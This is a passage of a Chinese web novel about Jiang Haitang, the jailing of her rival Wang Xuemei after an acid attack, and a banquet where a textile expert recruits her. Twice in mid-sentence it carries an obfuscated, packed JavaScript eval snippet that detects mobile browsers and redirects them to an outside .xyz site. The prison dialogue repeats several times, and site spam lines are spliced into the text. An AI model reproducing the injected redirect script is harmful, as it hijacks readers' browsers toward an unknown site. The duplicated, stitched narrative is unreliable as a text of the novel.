何婉仪抱着小橙子,看着儿子,说道:“都不看一眼你儿子就走?” “这不是怕吵醒小橙子,这小家伙,没睡醒会闹人的。” 话虽然如此说,陆良辰还是在熟睡的儿子脸上亲了一口。 何婉仪将提前给儿子准备的东西塞到他手里,叮嘱了两句,陆良辰这才出门。 陆良辰前脚出门,姜海棠后脚就下楼了。 看到何婉仪抱着小橙子站在门口,姜海棠虽然心里空落落的,但还是从何婉仪手中抱过儿子。 “这是怕送别的时候难过?”何婉仪看着儿媳妇眼睛红红的,问。 姜海棠点点头:“妈,有些舍不得他走,我怕看着他离开,我会忍不住哭。” 何婉仪原本只看到儿子下楼,没看到儿媳妇的时候,心里是有些不舒服的。 现在看着儿媳妇这难过的样子,她心里那点小疙瘩也没了。 两个孩子感情好着呢,她以后可不能多想了。 第316章 见王雪梅 “没事,很快良辰就能调回来了,你是过完正月十五上班?”何婉仪安慰了一句儿媳妇,又岔开了话题。 姜海棠点头。 “我这段时间在家翻译,等过完正月十五就去上班。” “你安心工作,小桃子和小橙子有家里其他人照看着。” “妈,小橙子还太小了,我想着,多接一点翻译的工作回家做,等小橙子长大一点再恢复工作。” 家里虽然有王婶帮忙,可她实际上是组织安排照顾爷爷的。 虽然家里会格外给她一份工资,让她帮着照顾家里家外,但一个人照顾这么一大家子人,已经很辛苦了,可不能把照顾小橙子的工作也加在她的头上。 “暂时还可以,但妈不希望你为了孩子放弃工作。海棠,如果你担心孩子,我们可以另外找人帮忙看着孩子。”何婉仪拍着姜海棠手背说道。 姜海棠知道婆婆是很好的人,可是,没想到,在这种时候,婆婆还是能站在自己的角度说出这样一番话。 “妈,我不会为了孩子放弃工作的,您放心吧,我会兼顾,只等孩子长大一点就可以了。至于找人,也不是不行,但要找十分可靠的人才行。” 姜海棠并不会排斥找人照顾孩子,后世找保姆的人有很多。 虽然这个时候找保姆会引人注目,但实际上,条件好的人家找人照顾的也不少见。 只不过,都是以家里亲属来暂住等理由对外而已。 “行,我改天物色一下,看看有没有合适的人选。”何婉仪说道。 陆良辰走后,姜海棠的生活忙碌而充实。 白天,她除了照顾小橙子,就是忙着翻译。 小桃子和几个国都没有开学,也会带着小橙子一起玩。 这让姜海棠轻松了许多。 接下来的几天,和陆家的岁月静好不同,京城看似平静的水面下,暗流汹涌。 尤其是王家,现在已经是风雨飘摇了。 王振山在离开姜家后,确实想尽了办法,试图挽回局面。 他动用了所有能动用的老关系,舍下老脸去求情、去解释,甚至提出愿意让王雪梅立刻远走他乡,再也不回京城。 然而,这一次,所有的门路都失效了。 他们王家本来从回来之后,一直都没有回到巅峰时刻,还敢对陆家和姜家人动手。 以往还会给他几分薄面的老战友、老部下,此刻要么避而不见,要么语焉不详,要么就直接暗示他们得罪了不应该得罪的人。 “老王啊,这次不是小事,碰了不该碰的线,伤了不该伤的人,姜老和陆老动了怒,谁也不敢在这个时候说话啊。” 王振山这才真正意识到,王雪梅的愚蠢行为,究竟给王家带来了怎样的灭顶之灾。 这不仅仅是道歉就能了结的。 很快,组织上的调查组正式介入。 调查的焦点首先是王雪梅故意伤害,证据确凿,她本人对在手帕上涂抹强腐蚀性药物的事实供认不讳,动机被归结为“因个人感情问题心生嫉恨,意图报复”。 这一条,就足以让她面临严厉的法律制裁。 但事情并未止步于此。 在姜老爷子和陆老爷子的默许甚至推动下,调查的范围扩大了。 开始深入审查**勇的工作问题,以及王老爷子王振山过去是否存在纵容家人、利用影响力等行为。 墙倒众人推,破鼓万人捶。 王家往日的一些不甚光彩的旧事、**勇工作中一些经不起细查的纰漏,甚至是一些捕风捉影但足以造成负面影响的事情,都被翻了出来。 甚至,有人说,王家当初被下放并不冤枉等等的。 王振山没想到,事情竟然会演变到了这个地步,他对于孙女儿的怨恨更加深了。 他觉得,如果没有这个死丫头,事情不至于到如此地步。 然而,现在说什么都晚了。 王老爷子溃败地躺在椅子上,开始后悔,为什么不对子孙多教导要求一些。 这一些,还在拘留所里的王雪梅并不知道。 她还带着一丝侥幸和怨恨,幻想着爷爷和父亲能把她捞出去。 毕竟,大院里犯过事的不少,还不是都好好的? 她这一次虽然有错,可是并没有造成既定的事实,对姜海棠没有造成伤害,反而是对自己造成了伤害。 想来就冲着这一点,自己也能出去。 可是,她摸着脸上腐烂的肉,心里的恨意更加浓烈了。 都怪姜海棠,现在她毁容了,这辈子可怎么办? 不要说陆良辰不要她,就连之前那个和他相亲的,带着孩子的男人,都不要她了。 她想着,自己如果能出去,一定不能轻易放过姜海棠,一定要让姜海棠付出代价。 等她知道自己竟然因为罪证确凿,即将面临漫长的刑期的时候,几乎要疯了。 她哭喊,她咒骂姜海棠,但一切都无济于事。 被送走之前,她要求见姜海棠。 征 求了姜海棠的意见之后,两个人得以见面。 看守所的会面室里,空气凝滞而冰冷,弥漫着绝望。 铁窗栅栏将空间一分为二。 王雪梅坐在栅栏后面,原本还算清秀的脸庞如今被纱布包裹着大半,只露出一双布满红血丝、充斥着疯狂与怨恨的眼睛。 虽然已经知道王雪梅用的是对人的皮肤有极强的腐蚀性的**粉,可亲眼看到王雪梅那张被包得严严实实的脸的时候,姜海棠还是被吓了一跳。 虽然只是短短时间,但王雪梅和上次见面的时候,已经完全不一样了。 她穿着囚服,身形佝偻,没了往日那份故作的高傲。 看到姜海棠,王雪梅的身体猛地前倾,枯瘦的手指紧紧抓住冰凉的铁栏,发出刺耳的摩擦声。 她死死盯着姜海棠,气色还是那样红润,眼神清澈平静,好像在秋高气爽的公园里遛弯一样安逸。 凭什么这个女人到现在还能如此美好? “姜海棠!”王雪梅的声音嘶哑难听,像砂纸摩擦,“看到我这样,你满意了?!” 姜海棠在她对面的椅子上坐下,姿态从容,目光平静地回视着她,没有愤怒,也没有怜悯,就像在看一个无关紧要的陌生人。 事实上,也确实是无关紧要的陌生人,她愿意走这一趟,就是想看看,这种偏执的人脑子里到底想什么。 “是你要求见我的。”姜海棠淡淡开口,语气没有一丝波澜。 王雪梅被她这副平静的样子彻底激怒了,凭什么自己身陷囹圄容颜尽毁,她却还能这般光鲜亮丽?强烈的嫉妒和不甘灼烧着她的五脏六腑。 “对!是我要见你!我要问问你,你的心到底是什么做的?怎么这么狠毒!”王雪梅激动地拍打着铁栏。 “是我狠毒吗?不是你对我动手,才导致现在的结果?” “我只是一时糊涂,你没有受到一点伤害!为什么?为什么要把我逼到这一步?让我坐牢,这样会毁了我一辈子。” 姜海棠听着她颠倒黑白的控诉,只觉得可笑。 她微微倾身,声音不高,却字字清晰,敲打在王雪梅脆弱的心上。 “王雪梅,到现在,你还觉得是我在逼你?你还不觉得,是你自己毁了自己的一辈子?” “不,就是你,是你毁了我。如果不是你出现,良辰哥哥应该是我的!是你抢走了他!你一个乡下来的村姑,你凭什么?!”王雪梅歇斯底里地喊道。 陆家那些人,眼睛都瞎了吗?为什么看不上 自己,却能看上姜海棠这样一个乡下女人? “陆良辰从来就不是你的,他甚至都不认识你。”姜海棠冷静地打断她的妄想。 果然,王雪梅更加破防了,撕心裂肺地喊着:“不,你胡说八道,怎么可能,怎么可能?” “你的喜欢,从头到尾只是你自我感动的一场笑话。而你,就因为这场笑话,生了害人的心。” “你那条手帕上的药,如果不是我躲开,现在毁容、痛苦不堪的就是我。” “你当时可曾有过一丝手软?可曾想过放过我?如果你当时有一点点怜悯之心,今天我都能放过你。” 姜海棠的目光锐利起来,仿佛能看透她心底最深的肮脏。 王雪梅被问得一噎,眼神闪烁,强辩道:“我……我没想真的把你怎么样,我就是想吓唬你……” “吓唬我?自欺欺人也要有个限度。当时,我拒绝接手帕,就是给你最后一个机会,如果你就此收手,不至于如此。” “可惜,你一心一意要毁了我,甚至不惜拿出手帕直接动手,王雪梅,你从那时候,就再也没有后退的路了。”姜海棠冷笑。 “另外,有件事,我必须要告诉你,你的父母和祖父,现在都在接受调查,他们是被你的愚蠢和恶毒拖垮的。”姜海棠继续刺激王雪梅。 王雪梅没想到,家里长辈都会被调查。 她难以置信的瞪大眼睛:“你怎么能,怎么敢!我爷爷是老**,对国家有功,你竟然为了一点私人恩怨,对他动过手,你们姜家和陆家欺人太甚!” “王老爷子的脸面,你父亲的前程,都毁在了你恶毒的心肠上,王雪梅,不要该别人,你才是王家的罪人。” 自己,却能看上姜海棠这样一个乡下女人? “陆良辰从来就不是你的,他甚至都不认识你。”姜海棠冷静地打断她的妄想。 果然,王雪梅更加破防了,撕心裂肺地喊着:“不,你胡说八道,怎么可能,怎么可能?” “你的喜欢,从头到尾只是你自我感动的一场笑话。而你,就因为这场笑话,生了害人的心。” “你那条手帕上的药,如果不是我躲开,现在毁容、痛苦不堪的就是我。” “你当时可曾有过一丝手软?可曾想过放过我?如果你当时有一点点怜悯之心,今天我都能放过你。” 姜海棠的目光锐利起来,仿佛能看透她心底最深的肮脏。 王雪梅被问得一噎,眼神闪烁,强辩道:“我……我没想真的把你怎么样,我就是想吓唬你……” “吓唬我?自欺欺人也要有个限度。当时,我拒绝接手帕,就是给你最后一个机会,如果你就此收手,不至于如此。” “可惜,你一心一意要毁了我,甚至不惜拿出手帕直接动手,王雪梅,你从那时候,就再也没有后退的路了。”姜海棠冷笑。 “另外,有件事,我必须要告诉你,你的父母和祖父,现在都在接受调查,他们是被你的愚蠢和恶毒拖垮的。”姜海棠继续刺激王雪梅。 王雪梅没想到,家里长辈都会被调查。 她难以置信的瞪大眼睛:“你怎么能,怎么敢!我爷爷是老**,对国家有功,你竟然为了一点私人恩怨,对他动过手,你们姜家和陆家欺人太甚!” “王老爷子的脸面,你父亲的前程,都毁在了你恶毒的心肠上,王雪梅,不要该别人,你才是王家的罪人。” 自己,却能看上姜海棠这样一个乡下女人? “陆良辰从来就不是你的,他甚至都不认识你。”姜海棠冷静地打断她的妄想。 果然,王雪梅更加破防了,撕心裂肺地喊着:“不,你胡说八道,怎么可能,怎么可能?” “你的喜欢,从头到尾只是你自我感动的一场笑话。而你,就因为这场笑话,生了害人的心。” “你那条手帕上的药,如果不是我躲开,现在毁容、痛苦不堪的就是我。” “你当时可曾有过一丝手软?可曾想过放过我?如果你当时有一点点怜悯之心,今天我都能放过你。” 姜海棠的目光锐利起来,仿佛能看透她心底最深的肮脏。 王雪梅被问得一噎,眼神闪烁,强辩道:“我……我没想真的把你怎么样,我就是想吓唬你……” “吓唬我?自欺欺人也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16240217|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要有个限度。当时,我拒绝接手帕,就是给你最后一个机会,如果你就此收手,不至于如此。” “可惜,你一心一意要毁了我,甚至不惜拿出手帕直接动手,王雪梅,你从那时候,就再也没有后退的路了。”姜海棠冷笑。 “另外,有件事,我必须要告诉你,你的父母和祖父,现在都在接受调查,他们是被你的愚蠢和恶毒拖垮的。”姜海棠继续刺激王雪梅。 王雪梅没想到,家里长辈都会被调查。 她难以置信的瞪大眼睛:“你怎么能,怎么敢!我爷爷是老**,对国家有功,你竟然为了一点私人恩怨,对他动过手,你们姜家和陆家欺人太甚!” “王老爷子的脸面,你父亲的前程,都毁在了你恶毒的心肠上,王雪梅,不要该别人,你才是王家的罪人。” 自己,却能看上姜海棠这样一个乡下女人? “陆良辰从来就不是你的,他甚至都不认识你。”姜海棠冷静地打断她的妄想。 果然,王雪梅更加破防了,撕心裂肺地喊着:“不,你胡说八道,怎么可能,怎么可能?” “你的喜欢,从头到尾只是你自我感动的一场笑话。而你,就因为这场笑话,生了害人的心。” “你那条手帕上的药,如果不是我躲开,现在毁容、痛苦不堪的就是我。” “你当时可曾有过一丝手软?可曾想过放过我?如果你当时有一点点怜悯之心,今天我都能放过你。” 姜海棠的目光锐利起来,仿佛能看透她心底最深的肮脏。 王雪梅被问得一噎,眼神闪烁,强辩道:“我……我没想真的把你怎么样,我就是想吓唬你……” “吓唬我?自欺欺人也要有个限度。当时,我拒绝接手帕,就是给你最后一个机会,如果你就此收手,不至于如此。” “可惜,你一心一意要毁了我,甚至不惜拿出手帕直接动手,王雪梅,你从那时候,就再也没有后退的路了。”姜海棠冷笑。 “另外,有件事,我必须要告诉你,你的父母和祖父,现在都在接受调查,他们是被你的愚蠢和恶毒拖垮的。”姜海棠继续刺激王雪梅。 王雪梅没想到,家里长辈都会被调查。 她难以置信的瞪大眼睛:“你怎么能,怎么敢!我爷爷是老**,对国家有功,你竟然为了一点私人恩怨,对他动过手,你们姜家和陆家欺人太甚!” “王老爷子的脸面,你父亲的前程,都毁在了你恶毒的心肠上,王雪梅,不要该别人,你才是王家的罪人。” 自己,却能看上姜海棠这样一个乡下女人? “陆良辰从来就不是你的,他甚至都不认识你。”姜海棠冷静地打断她的妄想。 果然,王雪梅更加破防了,撕心裂肺地喊着:“不,你胡说八道,怎么可能,怎么可能?” “你的喜欢,从头到尾只是你自我感动的一场笑话。而你,就因为这场笑话,生了害人的心。” “你那条手帕上的药,如果不是我躲开,现在毁容、痛苦不堪的就是我。” “你当时可曾有过一丝手软?可曾想过放过我?如果你当时有一点点怜悯之心,今天我都能放过你。” 姜海棠的目光锐利起来,仿佛能看透她心底最深的肮脏。 王雪梅被问得一噎,眼神闪烁,强辩道:“我……我没想真的把你怎么样,我就是想吓唬你……” “吓唬我?自欺欺人也要有个限度。当时,我拒绝接手帕,就是给你最后一个机会,如果你就此收手,不至于如此。” “可惜,你一心一意要毁了我,甚至不惜拿出手帕直接动手,王雪梅,你从那时候,就再也没有后退的路了。”姜海棠冷笑。 “另外,有件事,我必须要告诉你,你的父母和祖父,现在都在接受调查,他们是被你的愚蠢和恶毒拖垮的。”姜海棠继续刺激王雪梅。 王雪梅没想到,家里长辈都会被调查。 她难以置信的瞪大眼睛:“你怎么能,怎么敢!我爷爷是老**,对国家有功,你竟然为了一点私人恩怨,对他动过手,你们姜家和陆家欺人太甚!” “王老爷子的脸面,你父亲的前程,都毁在了你恶毒的心肠上,王雪梅,不要该别人,你才是王家的罪人。” 自己,却能看上姜海棠这样一个乡下女人? “陆良辰从来就不是你的,他甚至都不认识你。”姜海棠冷静地打断她的妄想。 果然,王雪梅更加破防了,撕心裂肺地喊着:“不,你胡说八道,怎么可能,怎么可能?” “你的喜欢,从头到尾只是你自我感动的一场笑话。而你,就因为这场笑话,生了害人的心。” “你那条手帕上的药,如果不是我躲开,现在毁容、痛苦不堪的就是我。” “你当时可曾有过一丝手软?可曾想过放过我?如果你当时有一点点怜悯之心,今天我都能放过你。” 姜海棠的目光锐利起来,仿佛能看透她心底最深的肮脏。 王雪梅被问得一噎,眼神闪烁,强辩道:“我……我没想真的把你怎么样,我就是想吓唬你……” “吓唬我?自欺欺人也要有个限度。当时,我拒绝接手帕,就是给你最后一个机会,如果你就此收手,不至于如此。” “可惜,你一心一意要毁了我,甚至不惜拿出手帕直接动手,王雪梅,你从那时候,就再也没有后退的路了。”姜海棠冷笑。 “另外,有件事,我必须要告诉你,你的父母和祖父,现在都在接受调查,他们是被你的愚蠢和恶毒拖垮的。”姜海棠继续刺激王雪梅。 王雪梅没想到,家里长辈都会被调查。 她难以置信的瞪大眼睛:“你怎么能,怎么敢!我爷爷是老**,对国家有功,你竟然为了一点私人恩怨,对他动过手,你们姜家和陆家欺人太甚!” “王老爷子的脸面,你父亲的前程,都毁在了你恶毒的心肠上,王雪梅,不要该别人,你才是王家的罪人。” 第317章 宴会 姜海棠站起身,居高临下地看着栅栏后状若疯癫的女人,眼神里带上了一丝轻蔑。 原以为大院里长大的姑娘,多少是有点脑子的,谁知道,是个真正的蠢货。 蠢而不自知! “不……不是的!是你!”王雪梅崩溃地大叫,拒绝接受这个事实。 “王雪梅,你到现在还不明白,你落得今天这个下场,是因为你犯了法,触犯了做人的底线。” “当你企图用最下作的手段去伤害无辜的人的时候开始,法律容不下你,道德容不下你,咎由自取!” “好好在监狱里反省吧。你该恨的不是我,是你自己心里那抑制不住的嫉妒和恶毒。” 说完,姜海棠不再看她一眼,她转身干脆利落地离开。 身后,传来王雪梅绝望崩溃的哭嚎和尖叫,还有对姜海棠恶毒的咒骂。 姜海棠听到了,也只是划过一抹淡笑。 无能狂怒罢了,不用放在心上。 但那些声音很快被厚重的铁门隔绝,变得模糊不清。 看不到姜海棠的身影之后,王雪梅颓然地倒在地上。 她知道,一切都完了,这一次是真的完了。 她相信,陆家和姜家联手,对付一个没有回复元气的王家不在话下。 在乡下的那些年,陆良辰是她的执念,是她的寄托。 她总以为,等回到京城之后,就能和心尖尖上的人在一起。 可是,事与愿违,她疯狂嫉妒。 因为嫉妒,连累的父亲被停职审查,爷爷声望扫地、晚节不保,哥哥的事情被旧事再次重提。 她葬送了自己,拖垮了家族,害了家里所有的人,却只为了一个可能都没记住自己长什么模样的男人。 是的,她相信了姜海棠的话,觉得姜海棠说陆良辰不认识他的话是真的。 “或许,从一开始就错了!”王雪梅泪流满面…… 冬日的阳光照在身上,驱散了阴冷,姜海棠深吸一口清冷的空气,抬头望了望蓝蓝的天空,心中一片澄明和平静。 人不管在什么时候,都要保持初心。 唯有保持初心,才能走下去。 另一边,何婉仪和袁一楠、时书岚的几个人在大院里的工作也卓有成效。 她们本就人缘不错,由她们出面,以闲聊的方式为姜海棠撑腰,表明陆家的态度,也从侧面说说,姜老爷子的态度,那效果不要太好。 一些原本不知道姜海棠这个人的人,原本听说陆家娶 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 了一个西北姑娘,原本也没有放在心上。 眼见着陆家的女人们都出来为姜海棠站台,他们少不得多了几分好奇。 自然也少不了交换信息,私下了解了一番姜海棠这个人。 有不知道情况的,就有了解情况的。 那些知道姜海棠的人你几句我几句的,倒也凑出来了姜海棠的主要功绩。 不打听不知道,一打听不得了啊,这姑娘是个非常厉害的呢,才二十岁刚过,就已经成绩斐然。 虽然是在西北长大,可是人家甚至比京城长大的姑娘更加出息。 光是能出国参观学习,还能得到科技创新奖这两样,就已经是许多人一辈子可望而不可及的成就了。 何况,听说她还会翻译专业书籍,还能带着厂里研发出新机械,为国家赚外汇,那就更了不得了。 再加上姜老爷子即将为孙女举办宴会的消息传出,所有人都知道了,姜海棠确实是姜家遗落在外的明珠,是姜老唯一的血脉亲人。 没有人觉得这是假的,之前倒是没有想起来,现在知道了再一回想,这姑娘和姜老那儿媳妇,长得不要太像啊! 瞬间,有很多人开始羡慕陆家了,觉得陆家这小子,是个真的有眼光的。 以后,这两口子可不光有陆家的资源,更有姜家的资源。 有姜老毫无保留的支持,这两口子的前途不可估量。 王雪梅是真的蠢笨,竟然想着对付这样一个人。 那些原本窃窃私语的议论迅速平息了下去,取而代之的是对宴会的期待,他们迫切希望看看这位陆家的孙媳妇,姜家的孙女儿。 这日,姜家举办宴会,规模虽不算盛大,但到场的都是重量级人物。 那句谈笑有鸿儒,往来无白丁用在这里再合适不过。 姜老爷子向来宾郑重介绍她的身份,言语间充满了自豪和疼爱。 陆良辰虽然不在,但陆家其他人都在,大家都能看出来陆家是什么态度。 有人开始悄悄议论,王家人好像没有受到邀请,看起来,两家的关系是实实在在没有办法缓和了。 “能缓和才奇怪,王家闺女心肠歹毒,那些话,要是被别有居心的人盯上,这两家都要跟着倒霉。” “这王家自己家淋雨了,估摸就想着让其他人家也跟着倒霉。” “以后,我们也得跟王家远着些。以前只以为王家是小辈不行,现在看起来,只怕长辈也不是什么好的。” “说不定,以后想和他们亲近都没机 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 会了姜家和陆家一起动手 再说王父王母虽然没有接到邀请函但还是主动上门了。 众人看到他们出现在姜家很是意外都在暗戳戳地讨论着这两口子今天来是什么意思。 虽然早就预想到今天要遭遇冷脸但当真的看到众人尤其是姜家和陆家人的冷脸的时候**勇的脸色十分难看。 这几年家族遭难他已经受过许多冷眼了现在**了回到京城却还要遭遇这样的冷遇。 **勇捏紧了拳头。 王母虽然难堪但还是强忍着对姜海棠道歉:“海棠千错万错都是雪梅这丫头的错阿姨给你道歉了是阿姨没有教好孩子你大人有大量别计较了行吗?我们王家……” 姜海棠始终冷静地看着等王母说完了才缓缓开口声音清晰而平静。 “王雪梅触犯了法律不是我原谅不原谅计较不计较的问题。” “你们也是有头有脸的人该知道王雪梅制造出来的那些流言蜚语要是传播开了对于陆家和姜家是什么样的灾难?” “王雪梅因为自己生活不如意就把怨气发泄在别人身上甚至不惜造谣诽谤你们真的觉得这是我不计较就可以放过的吗?” 王母被问得哑口无言只是捂着脸羞愧难当。 王雪梅引导别人说出姜海棠有可能是间谍组织培养出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16249151|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样的话确实是不可宽恕。 她开始恨为什么别人家的孩子好好的就她生出来了两个孽障? “侄女儿雪梅有错该怎么受罚就怎么受罚我们没有一点怨言。只是能不能不要波及我们其他人?雪梅做的这一切我们是真的不知情啊。”**勇放下面子苦苦哀求。 女儿进去了就进去了只要家里不出事一切都还有转圜的余地。 要是王家倒台了以后就真的完了。 “老王在这里逼迫一个小辈你也是真好意思!”陆二叔不知道什么时候走过来了冷着脸对**勇说道。 **勇知道陆二叔不是自己能得罪的只能讷讷地说自己没有别的意思就是想和姜海棠说说话。 “你们回去吧只要以后不作妖我不会继续盯着这件事不放的。”姜海棠看着两个人说了这么一句。 虽然二人还有许多话要说但有陆二叔在二人到底没敢说最终黯然离去。 看着**勇离开的背影陆二叔说道:“天作 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 孽尤可为,自作孽不可活。时隔几年,王家竟然还是没能够吸取教训,好生教导自己家孩子,才有今日之祸。” “多谢二叔。”姜海棠对陆二叔道谢。 “你这孩子,客气什么,咱们可是一家子人。走,有人想见见你,在书房里等着呢。” 陆二叔扯了扯嘴角,尽量做出一副笑容和蔼的样子对姜海棠说道。 姜海棠看着陆二叔这龇牙咧嘴的样子,心里腹诽,这样的笑,还真不如不要笑,看着怪吓人的,也亏得小橙子不在,要是小橙子看到了,还不给吓哭? 陆二叔并不知道姜海棠心里的腹诽,要是能听到姜海棠心声的话,一定要说一句:小桃子都不怕,小橙子一个男娃还能被我吓哭? 姜海棠问了陆二叔才知道,今日来了一位特殊的客人,是轻工业部的技术顾问,年过七旬的纺织专家陈老先生。 姜老爷子和陆老爷子在书房里陪着他说话呢。 寒暄过后,陈老先生便开门见山地表达了想见见姜海棠的意愿。 原来,他是听说了姜海棠在纺织厂的一些技术革新事,又得知她是姜老爷子的孙女,今日才会专门过来,与这位年轻的同行交流一番。 “两位**,不瞒你们说,我今天过来,是真的想私下见见这位海棠同志。我了解了一下她的过往,是个非常了不起的孩子,思路很新颖,为国家的纺织事业解决了不少实际问题。” “听说她还懂好外语,翻译了不少技术资料?我国现在可是太缺翻译人员了,尤其是专业技术方面的翻译。” 姜老爷子闻言,脸上露出自豪的笑容,嘴上却谦虚道:“小孩子家,瞎琢磨的,当不得您这么夸。她就是肯下点笨功夫。” “诶,您老这是客气了不是,这可不是笨功夫,这是真本事!现在国家正需要这样既有实践经验,又有理论学习和外语能力的年轻技术人才!”陈老笑容灿烂地摆手道。 几个人说话的功夫,陆二叔已经带着姜海棠到了书房。 因外面还有其他客人,陆二叔并没有进书房,而是下楼招呼客人。 姜海棠看了看这位陈老,虽已年过七旬,但精神矍铄,目光锐利。 第318章 支持 她只是简单地打量一下,便落落大方地问好,不卑不亢。 陈老仔细打量了她一下,眼中赞赏之意更浓。 他没有过多寒暄,直接就开始问起一些技术问题,从纺织机械的细节到国外相关领域的最新文献动向。 姜海棠起初还有些谨慎,但一谈到自己熟悉的领域,眼神立刻变得专注而明亮。 她条理清晰地回答着陈老的问题,不仅介绍了自己在金城的实践,还能引述国外期刊上的相关理论进行对比分析,偶尔甚至会蹦出几个专业的术语,听得陈老先生连连点头。 “……所以,我认为未来的方向,不仅仅是单机台的自动化改进,更应该是整个生产流程的联动和智能化控制,虽然以我们目前的基础还很难,但这是一个必须努力的方向。”姜海棠最后总结道。 书房里安静了一瞬。 陆老爷子和姜老爷子两位是打仗出身,简单来说就是粗人,建国之后,虽然学习了一些知识,但对于这种科技方面的,完全听不懂。 但能看到陈老脸上那毫不掩饰的激赏,就知道姜海棠的回答对方非常满意。 今天的宴会,邀请陈老也未尝不是有给姜海棠拓展人脉的意思,毕竟,姜海棠在这方面确实非常擅长。 陈老的地位不容小觑,要是海棠能得到陈老的欣赏,以后的路会好走许多。 “好!说得好!”陈老拊掌赞叹,“海棠同志啊,没想到你年纪轻轻,眼光如此长远!不仅手上功夫硬,理论视野也开阔!难得,实在太难得了!” 他转向两位老爷子,语气激动:“你们家这可是藏了块宝啊!” “陈老客气了,您才是行家里手,小孩子家有一些成绩,是侥幸。”姜老爷子脸上的笑压都压不住了,但嘴里说出来的依然是客气话。 自家的孩子当然是好的,可是再好也不能自己夸,得让别人夸才行。 “后生可畏啊!海棠同志创新点抓得很准,特别是自动换梭装置,解决了大问题!假以时日,她的成就一定是会超过我陈修永。” 陆二叔去找姜海棠的时候,并没有说陈老的名字叫什么,这会儿陈老自报家门,姜海棠才知道,这位不是一般人啊。 陈修永陈老可是在未来几年,可是对华国的纺织机械做出了不可磨灭的贡献的杰出人才。 别的且不说,就说她在夜梦空间里的那些书,有好多本陈老撰写或者负责编纂的。 姜海棠对陈老的态度更加恭敬了起来,讨论的时候也更加严谨。 两人相谈甚欢,从纺织机械聊到国外最新技术,不知不觉就聊了一个多小时的时间。 “部里现在正筹备一个新的技术引进和消化吸收项目,急需她这样的人才!光是做翻译工作,太大材小用了!”陈老对姜海棠发出邀约。 姜海棠心中一动,但面上依旧保持着谦逊:“陈老您过奖了,我还有很多需要学习的地方。” “学习是一辈子的事,但以你现在的能力,完全可以承担更重要的任务。对了,这个项目的负责领导你也熟悉,是周副部长,是他极力推荐了你。” 姜海棠没有想到,竟然是周副部长牵头负责这项工作。 想来周副部长是知道自己打算留在京城,才将自己举荐给陈老的。 她欠周副部长的恩情,真是越来越多了。 “原来是周副部长啊!”姜海棠浅笑。 “老周对你,那可是欣赏的不得了,海棠啊,你就说吧,你答应还是不答应。” 陈老显然爱才心切,立即就要让姜海棠答应下来。 “本来我和老周两个人说好了,要一起过来找你,不凑巧,老周出差去了,我只能一个人过来。” 姜海棠笑着答应下来。 陈老接着说道:“下个月会有一个技术交流小组要去南方考察,甚至可能接触到一些国外的先进设备和技术资料,我觉得你非常合适参加!不知道海棠同志有没有兴趣?” 这个机会来得有些突然,但无疑是极具吸引力的。 姜海棠按捺住心中的激动,看了一眼姜老爷子和陆老爷子。 陆老爷子沉吟道:“老陈,海棠刚生完孩子不久,小橙子还小,恐怕……不过,这件事,我们会商量商量再做决定。” 其实,陆老爷子都已经想要拒绝了,只是,关键时候想起来,不能做独断专行的大家长,因此,才会立即改口。 陈老恍然,拍了拍额头:“瞧我,一谈到技术就忘了这茬,是我考虑不周了,孩子还小,老考虑考虑也是应该的,不能去也不要紧,以后还有机会。” 话虽然如此说,但陈老心里到底是觉得有些遗憾的,又担心姜海棠连项目都不参与了,忙对姜海棠保证。 “海棠同志,项目这边,筹备也需要时间,到时候,家里孩子能大一点。而且也不一定需要长期外出,有些资料分析和前期论证工作在京里也能做。” “我和周副部长都是真心希望你能参与到这些项目中来,我们都觉得,你的能力应该用在更关键的地方。” 姜 海棠看陈老说得急切,便也没有多说,只开口道:“陈老您放心,项目我一定会参加的。至于技术交流,容我再考虑考虑。” 她其实也很希望能抓住这样好的一个机会,而不是浪费机会。 又聊了一会儿,陈老看看手表,说还有事情,该走了,改天再找姜海棠探讨后,没有参加接下来的宴会,急匆匆地走了。 显然,他真的很忙,今天能走这一趟,就是为了姜海棠这个人。 临走前陈老还再三叮嘱姜海棠养好身体才好投入工作。 接下来的宴会举办得很温馨,其实说是宴会,不如说是一个小型聚会更加合适,姜老爷子和陆老爷子两个人,可以说变着花样儿把姜海棠给夸了一遍。 姜海棠清楚了,爷爷这是在给自己铺路呢,因此,她表现得越发得体,得到了许多人的赞誉。 当天晚上,一家子人坐在一起商量姜海棠要不要跟着技术交流小组去南方学习的问题。 陆老爷子这一次没有抢先说话,今天说了海棠需要照顾孩子的话之后,老姜头虽然面上没说什么,但也能看出来,他不是很高兴。 何婉仪则立即表示支持:“这是好事!海棠啊,这对你将来的发展大有好处,而且,能参加到这种活动中去,说明你的能力和价值被看到了。” “可是,妈,家里的两个孩子还小,尤其是小橙子,才多大。”姜海棠虽然想去,但确实有些迟疑,她不希望家里人觉得她只考虑工作,而不关注孩子。 “这个还不容易,让小何跟着你一起去,你忙的时候,有她帮你照顾孩子,你可以专心工作。”何婉仪依然坚定地表示支持,甚至还想到了解决之道。说道。 总不能因为生了孩子,就只能绑在家里吧?这不是她所愿意见到的。 干了一辈子妇女工作,何婉仪觉得,总不能到了自己家,就开始双标。 